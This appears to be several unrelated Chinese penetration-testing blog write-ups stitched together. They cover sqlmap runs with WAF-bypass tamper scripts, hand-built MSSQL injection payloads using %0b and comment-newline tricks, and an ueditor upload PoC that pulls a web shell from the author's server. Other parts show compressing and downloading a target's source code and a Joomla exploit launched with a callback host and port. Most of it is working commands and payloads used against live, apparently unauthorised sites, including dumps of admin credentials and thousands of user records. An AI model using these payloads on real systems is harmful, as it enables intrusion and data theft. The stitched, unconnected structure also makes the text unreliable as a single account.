2019年10月

判断注入点

输入 ' --> 报错

输入 '' --> 回显正常

可以确定是使用单引号闭合的

1.png

输入 ' and '1'='1 --> 回显正常, 可以查询到数据

2.png

输入 ' and '1'='2 --> 回显正常, 但未查询到数据
可以确定存在注入

3.png

接下来就是跑数据, 直接掏出sqlmap

sqlmap -u "http://www.xxx.com?id=2" --batch

一片红!!! nice

再次访问IP已经被封掉了

4.png

根据经验推测应该是因为访问过于频繁导致的

开代理换个IP, 加个延时参数继续

OK, 成功跑出注入点

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch

5.png

查询当前数据库用户权限, 不是高权限, 所以只能去找Web后台管理员账号密码

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --is-dba

6.png

查询当前数据库, 成功

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch --current-db

7.png

查询表, 失败

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables

嗯??? nice

有WAF, 赶紧去访问网站看看IP有没有被封

还好, 没有被封

8.png

显示payload, 看看是哪句被拦截了

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3

可以看到第一次被拦截的payload

9.png

将被拦截的payload的放到浏览器中去访问, 果然被WAF拦截了

10.png

手工模糊测试, 发现被拦截的为关键字: FROM

11.png

这里说下个人思路:

1.在已经确定是什么WAF的前提下, 网上去查询过相关WAF的思路, 这里我找到了几个, 尝试后还是没有绕过去
2.sqlmap自带有过WAF脚本, 我去查询了下有没有能代替<FROM>的其他关键字, 很遗憾没找到
3.然后考虑尝试使用编码, 注释类的脚本去过, 经过反复测试, 成功绕过
4.查询tamper脚本的相关文章链接: https://www.freebuf.com/sectool/179035.html

sqlmap -u "http://www.xxx.com?id=2" --delay 0.2 --batch -D [库名] --tables -v 3 --tamper=halfversionedmorekeywords

12.png

接下来就简单多了
查询表--tables

13.png

查询列--columns

14.png

查询数据--dump

15.png

sqlmap跑数据的同时, 我去找了下后台
因为限制了访问速度, 所以这里我没有选择用御剑等工具去扫, 一般情况下可以先去做下目录扫描
看看有没有robots.txt文件, 404

16.png

搜索引擎搜索一波

17.png

找到一个会员登录的页面: http://www.xxx.com/login.aspx
额...一看会员登录是这种文件名, 管理员后台也不会难找到哪里去

18.png

顺手在login.aspx前加了个admin
http://www.xxx.com/admin/login.aspx
特么的就访问成功了...
所以这里我得出了一个重要的结论: 运气好等于成功了一半 (手动滑稽)

19.png

成功登录, 至此测试结束
这里不再进行深入测试

20.png

下午打开QQ邮箱,居然多了一封钓鱼邮件

应该是群发的钓鱼邮件

<鱼叉钓鱼>

1.png

2.png

干他!!!

3.png

网址是www.xxxx.com

4.png

打开就是这样,直接弹框提示登录

点快捷登录是无效的,其他忘记密码,注册新账号也是无效按钮

思路1:前台这里输入框可以试试XSS,运气好可以插到管理员的后台地址和Cookie信息

LOL钓鱼网站无疑

0x01

这种钓鱼小站

那就常规当信息收集走一波

爱站

https://www.aizhan.com

5.png

反查了下注册人和邮箱,没有获得特别有价值的信息

多地ping,无cdn,也不是XX云

http://ping.chinaz.com/

6.png

同ip域名查询

https://site.ip138.com/

7.png

ip绑定的域名

8.png

这个ip上绑定了好几个域名,都是相同模板的钓鱼页面

云悉看看网站指纹信息

http://www.yunsee.cn/

9.png

Nginx+PHP环境

0x02

扫描网站目录

利用dirsearch扫描了下目录,发现了www.xxx.cn/history/

10.png

打开直接跳后台地址

11.png

思路1:Burpsuite爆破后台账号密码
思路2:测试这里是不是有SQL注入

扫端口

12.png

只开了80端口

0x03

验证思路

先验证SQL注入

PS:这种无验证码的后台,很大几率存在SQL注入漏洞

Burpsuite抓包

13.png

将post包保存为1.txt,在admin后面打上*

标记下sqlmap要跑的参数点

最好使用服务器来跑注入,网络稳定且速度快

POST /history/Verification_admin.php HTTP/1.1
Host: www.xxxx.cn
Content-Length: 30
Cache-Control: max-age=0
Origin: http://www.xxxx.cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)     Chrome/77.0.3865.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;     q=0.8,application/signed-exchange;v=b3
Referer: http://www.xxxx.cn/history/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=e31r5gmpl27acjt4fvg48km7f7
Connection: close

username=admin*&password=123456

开始测试注入:

sqlmap -r 1.txt --random-agent --dbs --level 3

14.png

运气不错

15.png

跑出了库,接着跑一下管理员表和数据就行了

sqlmap -r 1.txt --random-agent --level 3 -D sqlxxxx --tables --batch

16.png

17.png

管理员表:yunx_admin

sqlmap -r 1.txt --level 3 -D sqlxxxx -T yunx_admin --dump --random-agent --batch

18.png

账号密码hash到手

上somd5,成功解开了hash

用户名:qazxxxx

密码:wxxxxxx

验证XSS,发现被过滤了,暂时不管

验证后台后台爆破,都有账户密码了,还爆破个毛啊,哈哈哈

0x04

成功登录后台

19.png

后台信息太少,getshell有点麻烦了,很多功能按钮上无效的

那就只能看数据了,悲惨

20.png

数据还挺多,卧槽

21.png

22.png

23.png

17509多条,我的个乖乖,看来很多人的安全意识还是太薄弱了

0x05

功能点太少了,不过这套模板之前好像在哪里见过,改天审计下代码看看

然后又回头看了下,同ip的其他域名

验证了下,同一个数据库,没啥好搞头

枯燥

最后,删除数据,做一名优秀的共产主义接班人

一.信息搜集

目标是个本地的传销站点其大致信息为IIS+ASP.NET+安全狗、腾讯云。

二.Bypass Sql

2.1 Fuzz

空格   error
加号   未拦截
等号   error
单引号     error
双引号     未拦截
双括号     未拦截
+select     error
%0bselect   未拦截
%0bselect%0buser%0bfrom 未拦截
%0bselect%0buser%0bfrom%0badmin 拦截
convert()   未拦截

根据如上测试可以看出程序本身也有过滤,error为程序自身的过滤。可以利用IIS处理%符号的机制绕过部分符号,例如空格使用%0b 加号使用%2b等。再根据测试的结果,可以先利用convert转换报错获取一部分信息。

1.png

goodscontent.aspx?gid=convert(int,@@version)#版本信息
goodscontent.aspx?gid=convert(int,db_name())#数据库信息
goodscontent.aspx?gid=convert(int,user_name())#当前数据库用户
……
tips:可以通过遍历db_name(1)中的数字获取其他库名

得到以下信息:

ASP.NET 版本:Microsoft .NET Framework 版本:4.0.30319; ASP.NET 版本:4.0.30319.36400
数据库版本:Microsoft SQL Server 2008 (RTM) - 10.0.1600.22 (X64)
用户名:sa
计算机名:10_*_76_*\SQLEXPRESS      10.*.76.*
当前库:pan20170823
所有库名:
pan20170823
master
tempdb
model
msdb
ReportServer$SQLEXPRESS
ReportServer$SQLEXPRESSTempDB

再往下就是获取表的信息

goodscontent.aspx?gid=CONVERT(INT,(CHAR(58)%2bCHAR(58)%2b(SELECT%0btop%0b1%0bCAST(COUNT(*)%0bAS%0bnvarchar(4000))%0bFROM%0binformation_schema.TABLES%0b)%2bCHAR(58)%2bCHAR(58)))#获取表总个数

2.png

由于我只会简单的select from因此始终无法获取表名,如果有其他姿势还望给科普下。

3.png

2.2 万金油

此时陷入僵局,后来想起在404大佬的一篇bypass安全狗的文章中提到过在mssql中注释加换行同样成立,遂构造之。

goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0btable_name%0bFROM%0binformation_schema.tables%0b)--%20*/

PS:由于注入点已经使用了convert做了数据转换,后续直接防入查询即可

获取到第一个表名:jsrecord

4.png

由于还是没能绕过单引号和等号,我始终用不了not in与for xml path来爆后续的表名,这又触及到了我知识盲区,因此只好查阅大量文章案例,最终构造出如下语句。

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b11%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

5.png

此时只需要遍历top的数值即可,例如:

/goodscontent.aspx?gid=--/*%0a(SELECT%0bTOP%0b1%0btable_name%0bFROM%0binformation_schema.tables%0bWHERE%0btable_name%0bNOT%0bIN(SELECT%0bTOP%0b80%0btable_name%0bFROM%0binformation_schema.columns))--%20*/

6.png

通过不断的遍历数值发现还是存在问题,举个例子,即 1-20、200-209,334-345返回同一个表名,存在大量重复与无序的情况,但可以通过burp中intruder->Grep-Extact功能来解决,操作如下: 首先设置好intruder对001-600进行遍历(超过600多后就没什么内容了)

7.png

8.png

然后使用Grep-Extact提取表名。

9.png

10.png

11.png

保存结果后去重即可。

12.png

和前面获取到的表总个数是一致的。

解下来就是获取memberadmin表中的列名与内容,但在此之前我还是习惯性的看了下后台的网页源代码。

13.png

如图,盲猜列名txt_nickname、nickname、txt_password、password

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bnickname%0bfrom%0bmemberadmin)--%20*/

14.png

/goodscontent.aspx?gid=--/*%0a(select%0btop%0b1%0bpassword%0bfrom%0bmemberadmin)--%20*/

15.png

三、后台getshell

登陆后台

16.png

经测试后发现信息管理处可以发布咨询,上传图片。通过修改去掉filename="1.aspx"中的双引号绕过安全狗,但无法绕过程序自身的检测。

Content-Disposition: form-data; name="up_picture"; filename=xss.jpg .aspx

不过得知上传组件为ueditor,且.net版本存在上传漏洞 poc如下

<form action="http://***/***/net/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

并在自己的服务器上准备好shell(注意过狗),名称为a.gif,然后填入shell地址

https://xxxxxx/a.gif?.aspx

17.png

提交后即可得到shell路径

四、打包源码与数据库

在有了shell之后要做的事情就更明确了,即是打包源码与数据库,由于只需要这两样操作,相对于不需要太大的权限,避免操作不当触发警告。因此我选择先通过shell来进行打包操作。

18.png

19.png

源码

这里利用的是自行上传的rar.exe来分卷打包源码,在此之前尝试过7z.exe(目标服务器上已安装)、makecab 但效果并不理想,姿势不够还望科普。

rar.exe a -r -v50m -m5 pan20170823 *.*
#a 压缩
#-r 打包子目录
#-v 分卷大小
#-m 压缩等级
#pan20170823目标目录
#*.* 打包后文件名为 pan20170823.part*.rar

最终以每秒100k的速度下载完成。

20.png

数据库

略过,后台自带备份功能

坑点:后台的备份文件后缀为zip,下载回来总是提示文件损坏,一直以为备份功能有问题,后来发现文件头是TAPE。。。。

五、本地搭建

本地搭建的环境为 Windows server 2012+IIS8+SQL Server 2008,简单讲讲0.0

SQL Server

安装过程略过 导入数据

新建数据库,然后通过原设备还原数据

21.png

22.png

还原成功

23.png

IIS与ASP.NET

安装一笔带过,左边拉满就行,简单粗暴

24.png

25.png

添加站点

26.png

最好对应目标版本

27.png

修改源码中的配置文件

28.png

访问

29.png

1.通过https://mp.weixin.qq.com/s/jqKdJDoFuZeY70nnqY7RNw发现已经有exp流传了,通过google搜索过滤最近一周发现exploitdb的exp

1.png

exp地址:
https://www.exploit-db.com/exploits/47465

2.接下来就是环境了,通过exp发现此漏洞影响3.0.0 --> 3.4.6,通过vulhub找环境,发现
https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562此环境适合我们,版本为Joomla 3.4.5
按照vulhub官方说明,安装joomla,安装完成后,在访问127.0.0.1:8080,点击删除安装环境。
以下就是安装成功后访问127.0.0.1:8080 截图:

2.png

3.环境搭建好,直接上exp,exp使用python3写的。
验证:
python3 test.py -t http://127.0.0.1:8080/

3.png

利用:
python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126 --lport 2121

4.png

4.也可以直接通过webshell连接工具,直接连接,密码为上图的随机字符串:

5.png

6.png